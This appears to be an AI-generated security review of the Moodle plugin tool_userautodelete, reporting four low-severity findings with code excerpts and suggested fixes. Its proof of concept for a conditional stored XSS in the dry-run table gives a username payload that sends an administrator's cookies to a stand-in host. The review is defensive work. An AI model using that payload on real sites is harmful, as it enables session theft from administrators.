MDL Shield

Automatic User Lifecycle Management

tool_userautodelete

Print Report
Plugin Information

tool_userautodelete ("Automatic User Lifecycle Management") is an admin tool that manages the lifecycle of Moodle user accounts through configurable, multi-step workflows. Each workflow step combines filters (auth method, cohort, role, last access, suspension state, current date, time delay) that select users, with actions (send mail, suspend, unsuspend, anonymize, delete) that run when a user enters the step. A scheduled task drives the workflows; a dry-run preview and an action log let administrators audit automated activity. Filters and actions are implemented as two sub-plugin types (userdeletefilter_*, userdeleteaction_*).

Version:2026051800
Release:2.2.0
Reviewed for:5.2
Privacy API
Unit Tests
Behat Tests
Reviewed:2026-07-03
168 files·23,900 lines
Grade Justification

This is a well-engineered, security-conscious plugin. The entire attack surface is administrator-gated: every web entry point calls require_admin() or admin_externalpage_setup(), the single external/AJAX function enforces moodle/site:config via validate_context() + require_capability(), and the settings editor is a dynamic_form whose check_access_for_dynamic_submission() also requires moodle/site:config.

Data-access hygiene is strong. All database access goes through the $DB API with named placeholders or get_in_or_equal(); the dynamically-assembled user-filter clauses draw their variable parts exclusively from bound parameters, and the only string-interpolated identifiers ($CFG->siteadmins, $CFG->siteguest) are intval()-cast before being joined into an IN (...) list. No SQL injection vector was found. State-changing requests are protected against CSRF — confirmation dialogs are moodleforms (sesskey validated in _process_submission() during construction) and the direct GET actions call require_sesskey(). Schema changes are confined to db/upgrade.php, a full Privacy API provider is implemented (with null_provider on every sub-plugin), and the plugin ships an extensive PHPUnit suite.

The findings are all low severity: a non-portable TRUE/FALSE SQL literal in the date filter that breaks on SQL Server; a missing output-escaping call on username/fullname in the dry-run table (not exploitable under default configuration because core sanitizes names, but a genuine hardening gap that could become a stored XSS under extendedusernamechars or external name sync); a deliberate direct write to the user table in the anonymize action that bypasses core events; and unescaped admin-controlled workflow titles in confirmation dialogs (neutralized by PARAM_TEXT and admin-only visibility). None are exploitable by a low-privilege user under a default configuration, and there are no medium, high, or critical issues.

AI Summary

Overview

tool_userautodelete is a mature admin tool that automates the Moodle user account lifecycle via configurable multi-step workflows. It is cleanly architected and security-aware — the review found no critical, high, or medium issues, only a handful of low-severity hardening and portability items.

Security posture (verified against core)

  • Authorization: Every page (workflows.php, workflow.php, manageworkflow.php, managestep.php, manageaction.php, managefilter.php, log.php, dryrun.php) enforces admin access. The external function get_step_user_processes and the subplugin_instance_settings_form dynamic form both require moodle/site:config.
  • CSRF: Confirmation forms rely on moodleform (sesskey enforced in _process_submission() at construction time — confirmed in /moodle/public/lib/formslib.php); direct GET mutations call require_sesskey().
  • SQL: All queries are parameterized. Filter sub-plugins build WHERE fragments from bound parameters / get_in_or_equal(); interpolated admin/guest IDs are intval()-cast.
  • XSS: Mustache templates use escaped {{ }} for all dynamic values (Moodle configures 'escape' => 's', i.e. htmlspecialchars(..., ENT_QUOTES)); triple-mustache is limited to moodle_url output, base64 payloads, and pre-rendered table HTML.
  • APIs: File/HTTP/DB access all go through Moodle APIs — no superglobals in code, no raw DB drivers, no eval/exec/shell_exec, no raw cURL/sockets.
  • Privacy: Full provider implemented; sub-plugins correctly use null_provider.

Findings (all low)

#IssueCategorySeverity
1Non-portable TRUE/FALSE SQL literals in the date filter (breaks on MS SQL Server)code_qualitylow
2username/fullname output without s() in the dry-run table (conditional stored XSS)securitylow
3Anonymize action writes directly to the user table, bypassing user_update_user() and its eventscode_qualitylow
4Workflow/step title & description echoed unescaped in confirmation dialogs (admin-only, PARAM_TEXT-mitigated)best_practicelow

Bottom line

A high-quality plugin that follows Moodle security and coding conventions throughout. The recommended fixes are small (wrap user-identifying output in s(), replace TRUE/FALSE with 1=1/1=0) and none address an exploitable-by-default vulnerability.

Findings

code qualityLow
Non-portable SQL boolean literals (TRUE/FALSE) in the date filter

The date filter sub-plugin returns the raw SQL tokens TRUE or FALSE as its WHERE-clause fragment depending on whether the configured date criteria are met.

While TRUE/FALSE are valid boolean literals on MySQL/MariaDB and PostgreSQL, they are not valid on Microsoft SQL Server (the sqlsrv driver), which Moodle officially supports. On SQL Server, WHERE ... AND (TRUE) ... raises a syntax/invalid-column error.

This fragment is concatenated into the ingestion query (workflow::get_applicable_users()), the transition query (process::get_active_processes_for_step()), and the dry-run table query. Consequently, any workflow that uses a date filter will fail to process users or render its dry-run on a SQL Server installation.

Risk Assessment

Low risk. This is a database-portability defect, not a security vulnerability. There is no data-exposure or injection component (the fragment is a constant, not user input). Impact is limited to broken functionality on SQL Server deployments; MySQL/MariaDB and PostgreSQL installations are unaffected. Severity is low because it is a correctness/portability issue with a trivial fix.

Context

In step::generate_user_filter_clause() each filter's user_records_filter_clause() output is wrapped in parentheses and joined with AND. The date filter differs from the other filters (which emit column comparisons) by short-circuiting to a constant boolean, evaluated in PHP from the current server time.

Identified Code
public function user_records_filter_clause(): userfilter_clause {
    if ($this->date_constraints_met()) {
        return new userfilter_clause('TRUE', []);
    } else {
        return new userfilter_clause('FALSE', []);
    }
}
Suggested Fix

Use the cross-engine-portable idiom instead of bare boolean keywords:

public function user_records_filter_clause(): userfilter_clause {
    if ($this->date_constraints_met()) {
        return new userfilter_clause('1 = 1', []);
    } else {
        return new userfilter_clause('1 = 0', []);
    }
}
securityLow
User name and username rendered without HTML-escaping in the dry-run table
Exploitable by:
student

The dry-run users table builds the user column as a raw HTML string, embedding fullname($values) and $values->username directly without passing them through s() or format_string().

table_sql treats the return value of a col_*() method as trusted HTML and prints it verbatim, and fullname() / core_user::get_fullname() (verified in core) do not HTML-escape — they interpolate the raw firstname/lastname fields. This makes the cell an output-escaping gap for user-controlled identity data.

The sibling log_table correctly wraps its dynamic values in s() (e.g. col_workflow()), and the AJAX-rendered modal/step_processes template escapes {{fullname}}, so this table is an inconsistency.

Risk Assessment

Low risk. Under a default Moodle configuration this is not exploitable: the user profile form and web-service create/update paths clean firstname/lastname with PARAM_NOTAGS (tags stripped), and usernames are constrained to a restricted character set, so no HTML can reach the field. The gap becomes a realistic stored XSS against administrators only under non-default conditions — chiefly extendedusernamechars=1 (which disables username character filtering) or identity data synchronized from an external directory that permits markup. Exploitation additionally requires the attacker's account to satisfy the workflow's filters and an administrator to open the dry-run page. Because it is not reachable by a low-privilege user by default and depends on several conditions, it is rated low, but it should be fixed as defense-in-depth (and to match the escaping used elsewhere in the plugin).

Context

dryrun.php (admin-only) renders dryrun_users_table via output buffering and injects the resulting HTML into the page through {{{dryruntablehtml}}}. The table lists every non-deleted user matching the workflow's first-step filters. The name fields therefore originate from arbitrary account holders, while the page itself is viewed by a site administrator.

Proof of Concept

Preconditions: $CFG->extendedusernamechars enabled (or names imported from an external auth/enrolment source that permits markup). A user with username <script>document.location='https://evil/?c='+document.cookie</script> whose account matches the workflow's first-step filters will, when an administrator opens dryrun.php?workflowid=<id>, have that markup written into the admin's page and executed.

Identified Code
public function col_user($values) {
    $userurl = new moodle_url('/user/profile.php', ['id' => $values->id]);
    return '<a href="' . $userurl . '">' . fullname($values) . ' (' . $values->username . ')</a>';
}
Suggested Fix

Escape the user-identifying fields before output:

public function col_user($values) {
    $userurl = new moodle_url('/user/profile.php', ['id' => $values->id]);
    return html_writer::link($userurl, s(fullname($values)) . ' (' . s($values->username) . ')');
}

Use s() for both fullname() and username. (html_writer::link() additionally handles the href safely.)

code qualityLow
Anonymize action writes directly to the user table, bypassing the core user API and events

The anonymize action overwrites identity fields on the core user record with a direct $DB->update_record('user', ...) call, intentionally avoiding user_update_user() (as noted in the inline comment) to skip its validation.

Bypassing the core API means:

  • The \core\event\user_updated event is not fired, so subsystems that react to user changes (analytics, external DB enrolment sync, global search indexing, auth/enrolment plugins) never learn that the record was scrubbed.
  • Normalization/validation performed by user_update_user() is skipped.
  • The account is neither suspended nor has its auth method changed, and sessions are not destroyed — an SSO-authenticated user could still log in after anonymization and potentially repopulate profile data on next login.

Writing to a core table the plugin does not own is acceptable when core lacks a suitable API, but here user_update_user() exists and is the recommended path for most fields.

Risk Assessment

Low risk. This is a data-consistency and best-practice concern, not an exploitable vulnerability. The user id is trusted, the write is admin-configured, and the field values are constant. The practical downside is that other components relying on the user_updated event may retain stale copies of the anonymized data, and anonymized SSO accounts remain loginable. Because anonymization is an intentional, documented design choice and the blast radius is limited to internal data flow, severity is low.

Context

The action executes inside process::create() / process::transition() under a delegated DB transaction, driven by the executeworkflows scheduled task. $process->userid is an internal, non-user-supplied identifier, so there is no injection concern; the issue is purely about bypassing the core update path and its side effects.

Identified Code
// We purposfully do not call user_update_user() here to circumvent any checks that might
// prevent storing the anonymized values inside the user record.
return $DB->update_record('user', [
    'id' => $process->userid,
    'username' => "DELETED-USER-{$process->userid}",
    'password' => AUTH_PASSWORD_NOT_CACHED,
    'idnumber' => '',
    'firstname' => 'DELETED',
    'lastname' => 'DELETED',
    'email' => "DELETED-USER-{$process->userid}@localhost",
    ...
    'timemodified' => time(),
]);
Suggested Fix

Prefer user_update_user($record, false, true) where possible so the user_updated event fires and dependent subsystems stay consistent. If specific fields genuinely cannot be routed through the API, fire \core\event\user_updated manually after the direct write, and consider also suspending the account / destroying its sessions so an anonymized SSO user cannot re-authenticate and repopulate data.

best practiceLow
Workflow and step title/description echoed unescaped in confirmation dialogs

The workflow enable/disable/delete confirmation forms build their warning HTML by concatenating $workflow->title and $workflow->description directly into a string that is handed to $OUTPUT->notification() (rendered as raw HTML), with no s() / format_string() escaping.

The values are administrator-supplied and constrained to PARAM_TEXT on input (workflow::set_title() / set_description() are only reachable from admin-only pages), so strip_tags-based cleaning neutralizes active markup and the pages themselves are admin-only. The pattern is nonetheless inconsistent with the escaped output used in the Mustache templates and the log_table, and is worth tightening.

Risk Assessment

Low risk. Because PARAM_TEXT strips HTML tags on input and both the data source and the viewer are administrators, there is no cross-privilege or active-scripting exploit path — at worst an admin sees their own residual markup. This is an output-escaping hardening/consistency recommendation rather than a vulnerability.

Context

These moodleform subclasses render a confirmation notice before activating, deactivating, or deleting a workflow. Titles and descriptions are set exclusively by administrators through manageworkflow.php (guarded by require_admin() + require_sesskey()), and the confirmation pages are likewise admin-only.

Identified Code
$warndetails  = '<b>' . $workflow->title . ' (ID: ' . $workflow->id . ')</b><br>';
$warndetails .= '<span>' . $workflow->description . '</span>';
Suggested Fix

Escape the admin-controlled fields on output:

$warndetails  = '<b>' . s($workflow->title) . ' (ID: ' . $workflow->id . ')</b><br>';
$warndetails .= '<span>' . s($workflow->description) . '</span>';
Identified Code
$warndetails  = '<b>' . $workflow->title . ' (ID: ' . $workflow->id . ')</b><br>';
$warndetails .= '<span>' . $workflow->description . '<br>';
Suggested Fix

Wrap $workflow->title and $workflow->description in s() (or use format_string()).

Identified Code
$warndetails  = '<b>' . $workflow->title . ' (ID: ' . $workflow->id . ')</b><br>';
$warndetails .= '<span>' . $workflow->description . '<br>';
Suggested Fix

Wrap $workflow->title and $workflow->description in s() (or use format_string()).

Additional AI Notes

No bundled third-party code. The repository contains no thirdpartylibs.xml, and none is required: the only minified asset (amd/build/modal_delete_save_cancel.min.js) is the compiled build artifact of the plugin's own amd/src/ source, not an external library. No Moodle-core-shipped library (Guzzle, PHPMailer, Mustache, etc.) is duplicated.

Strong overall security engineering. Worth acknowledging: consistent $DB parameterization, uniform admin gating across all entry points and the external/AJAX function (moodle/site:config), correct reliance on moodleform/dynamic_form sesskey handling plus explicit require_sesskey() on GET mutations, sub-plugin class resolution validated through core_plugin_manager before instantiation (plugin_util::get_subplugin_class() — no arbitrary class instantiation), a complete Privacy API provider with null_provider on every sub-plugin, DDL confined to db/upgrade.php, and an extensive PHPUnit suite. The user-filter builder also always excludes site admins and the guest account, a sensible safety guard against accidental mass deletion.

Architectural robustness note (informational). step::generate_user_filter_clause() renames each filter's bound parameters by running a single preg_replace() over the SQL fragment, and applies preg_quote() to the replacement string ($newparamname). This works for all shipped filters (each uses its parameters exactly once, with alphanumeric names), but it is fragile for future/third-party filter sub-plugins: a clause that references the same named parameter more than once would have only its first occurrence renamed, producing a DML error, and preg_quote() on a replacement value is technically incorrect (it would corrupt a name containing regex metacharacters). Consider renaming via structured parameter maps rather than regex substitution. This is not a security issue — the substituted tokens are internal parameter names, never user data.

This review was generated by an AI system and may contain inaccuracies. Findings should be verified by a human reviewer before acting on them.